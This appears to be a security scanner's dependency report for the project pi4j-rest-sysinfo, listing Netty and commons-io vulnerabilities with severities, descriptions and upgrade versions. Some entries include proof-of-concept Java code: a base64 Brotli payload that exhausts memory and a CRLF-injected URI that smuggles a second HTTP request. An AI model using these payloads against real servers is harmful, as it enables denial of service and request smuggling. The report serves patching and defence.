Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-http@4.1.86.FinalRemediation: Upgrade to io.netty:netty-all@4.1.125.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-http@4.1.86.FinalRemediation: Upgrade to io.netty:netty-all@4.1.125.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.
PoC
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1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9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-http2@4.1.86.FinalRemediation: Upgrade to io.netty:netty-all@4.1.124.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the improper handling of concurrently active streams per connection. An attacker can cause resource exhaustion and disrupt service availability by rapidly sending crafted frames, such as WINDOW_UPDATE, HEADERS, or PRIORITY, that manipulate the server's stream reset logic, leading to unbounded concurrent stream processing.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.124.Final, 4.2.4.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-http2@4.1.86.FinalRemediation: Upgrade to io.netty:netty-all@4.1.100.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the implementation of the HTTP/2 protocol. An attacker can cause a denial of service (including via DDoS) by rapidly resetting many streams through request cancellation.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.100.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-http2@4.1.86.FinalRemediation: Upgrade to io.netty:netty-all@4.1.125.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.
PoC
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9b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EPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.125.Final or higher.
References
medium severity
- Vulnerable module: commons-io:commons-io
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-http@4.1.86.Final › commons-io:commons-io@2.8.0Remediation: Upgrade to io.netty:netty-all@4.1.86.Final.
Overview
commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the XmlStreamReader class. An attacker can cause the application to consume excessive CPU resources by sending specially crafted XML content.
Remediation
Upgrade commons-io:commons-io to version 2.14.0 or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-http@4.1.86.FinalRemediation: Upgrade to io.netty:netty-all@4.1.129.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.
PoC
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-smtp
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-smtp@4.1.86.FinalRemediation: Upgrade to io.netty:netty-all@4.1.128.Final.
Overview
Affected versions of this package are vulnerable to CRLF Injection via insufficient input validation in the DefaultSmtpRequest process. An attacker can inject arbitrary SMTP commands by supplying malicious parameters containing CRLF sequences, allowing the sending of forged emails that appear to originate from a trusted server.
Remediation
Upgrade io.netty:netty-codec-smtp to version 4.1.128.Final, 4.2.7.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.86.Final
Detailed paths
-
Introduced through: albahrani/pi4j-rest-sysinfo@albahrani/pi4j-rest-sysinfo#f12b589dff6024907f6c2c8da334e6002485bff6 › io.netty:netty-all@4.1.86.Final › io.netty:netty-codec-http@4.1.86.FinalRemediation: Upgrade to io.netty:netty-all@4.1.108.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the accumulation of data in the HttpPostRequestDecoder. The decoder cumulates bytes in the undecodedChunk buffer until it can decode a field, allowing for data to accumulate without limits.
An attacker can cause a denial of service by sending a chunked post consisting of many small fields that will be accumulated in the bodyListHttpData list.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.108.Final or higher.